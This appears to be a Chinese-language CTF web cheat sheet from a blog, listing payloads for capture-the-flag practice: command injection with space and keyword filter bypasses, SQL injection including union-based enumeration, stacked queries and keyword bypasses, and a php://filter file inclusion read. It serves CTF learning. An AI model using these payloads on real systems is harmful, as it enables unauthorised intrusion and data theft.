CTF-Web手的百宝箱

@ZZHow(ZZHow1024)

零、通用提示

Flag可能藏在源码注释里!记得F12找找

一、Command Injection(命令注入)类:

0.看当前目录的文件,看根目录的文件,找flag

  • 127.0.0.1 ; ls
  • 127.0.0.1 ; ls.../.../.../

1.绕过空格

  • IFS9
    • 首选!
    • **注意注意:**在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
  • $IFS
  • ${IFS}
  • <
  • <>
  • {cat,flag.php}
  • %20
  • %09

2.绕过关键词(如flag)

  • 利用环境变量拼接方法绕过。
    • /?ip=127.0.0.1;d=g;cat$IFS 9 f l a 9fla 9flad.php
      • 首选!
      • **注意注意:这里之所以选择替换flag里的"g"**还是因为如果替换前边的字母,例如fl$dg,bash解释器会把整个dg当做变量名,所以导致输不出来结果。
      • 如果必须替换前边的字母也得用$9来截断:
      • /?ip=127.0.0.1;d=a;catIFS 9 f l 9fl 9fld9g.php
  • 单引号和双引号绕过。
    • /?ip=127.0.0.1;catIFS9''f''l''a''g''.php
  • 反斜杠绕过。
    • /?ip=127.0.0.1;catIFS9\f\l\a\g.php

3.查看文件内容命令:

  • 1**. cat命令**
    1. nl命令(比cat多了行数提示)
  • 3**. more命令**
  • 4**. less命令**
  • 5**. head命令**
  • 6**. tail命令**

4.补充

命令注入以及常见绕过方式_命令注入绕过-CSDN博客

二、SQL Injection(SQL注入)类:

0.上来一个'看报错

1.万能密码

  • password' or '1'='1

2.常规注入流程

  • 判断字段数
    • order by x#
  • 判断显示位
    • union select 1,2#
  • 查询数据库名
    • union select 1,database()#
  • 输出当前数据库下的表名
    • union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 输出 指定表 下面的所有字段名
    • union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='指定表'#
  • 输出 指定表 中的 指定字段 数据
    • union select group_concat(指定字段),group_concat(指定字段) from 指定表#
      • 首选!会在一个回显位输出所有数据
    • union select 指定字段,指定字段 from 指定表#

3."堆叠注入"

  • 注意:如果是纯数字的名,需要用反引号 包裹
  • 查看数据库名:
    • 1';show databases;#
  • 查看表名:
    • 1';show tables;#
  • 查看 指定表 的详细信息:
    • 1';desc 指定表;#

4.特征判断

  • 输入非0数字得到的回显1,输入其余字符得不到回显
    • 推测内部的查询语句存在逻辑或:
      • select 输入的内容 || flag from Flag
    • 原理:
      • 非0数字 || 任意 = 1(真)
      • 0 || 任意 = 0(假)
    • Payload:
      • *,1
      • 1';set sql_mode=pipes_as_concat;select 1

5.关键词绕过

  • 情况一:检测关键词后直接整个不执行,预编译绕过
    • 例如:select * from 1919810931114514,select被检测
    • Payload:
      • 1';PREPARE abc from concat('s','elect', ' * from 1919810931114514 ');EXECUTE abc;#
  • 情况二:检测到关键词,把关键词给删除了,双写绕过
    • 例如union select 1,2,group_concat(passwoorrd) from b4bsql#,union、select和from直接被删除
    • Payload:
      • uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom b4bsql#

三、File Inclusion(文件包含)类:

  • 看PHP源码,用php://filter伪协议,再base64解码
    • Payload:
      • • ?file=php://filter/read=convert.base64-encode/resource=flag.php

欢迎补充 : )

相关推荐
网络安全-海哥18 小时前
2025网络安全前景与学习路线:抓住数字时代的安全机遇
学习·web安全·网络安全·网络攻击·转行
风语者日志18 小时前
攻防世界—easyupload
数据库·web安全·ctf·小白入门
滑水滑成滑头19 小时前
**发散创新:探索零信任网络下的安全编程实践**随着信息技术的飞速发展,网络安全问题日益凸显。传统的网络安全防护方式已难以
java·网络·python·安全·web安全
pencek20 小时前
HakcMyVM-Apaches
网络安全
光影少年21 小时前
网络安全生态及学习路线
学习·安全·web安全
序^章1 天前
【CTF | 比赛篇】Newstar ctf web
网络安全·ctf
white-persist1 天前
什么是网络安全,网络空间安全有哪些安全?
服务器·网络·安全·web安全·网络安全·系统安全·安全架构
virelin_Y.lin1 天前
系统与网络安全------弹性交换网络(4)
网络·安全·web安全·mstp
德福危险1 天前
密码枚举的艺术:靶机练习之midwest
服务器·安全·web安全
jieyu11191 天前
uploads-labs靶场通关(2)
web安全·靶场通关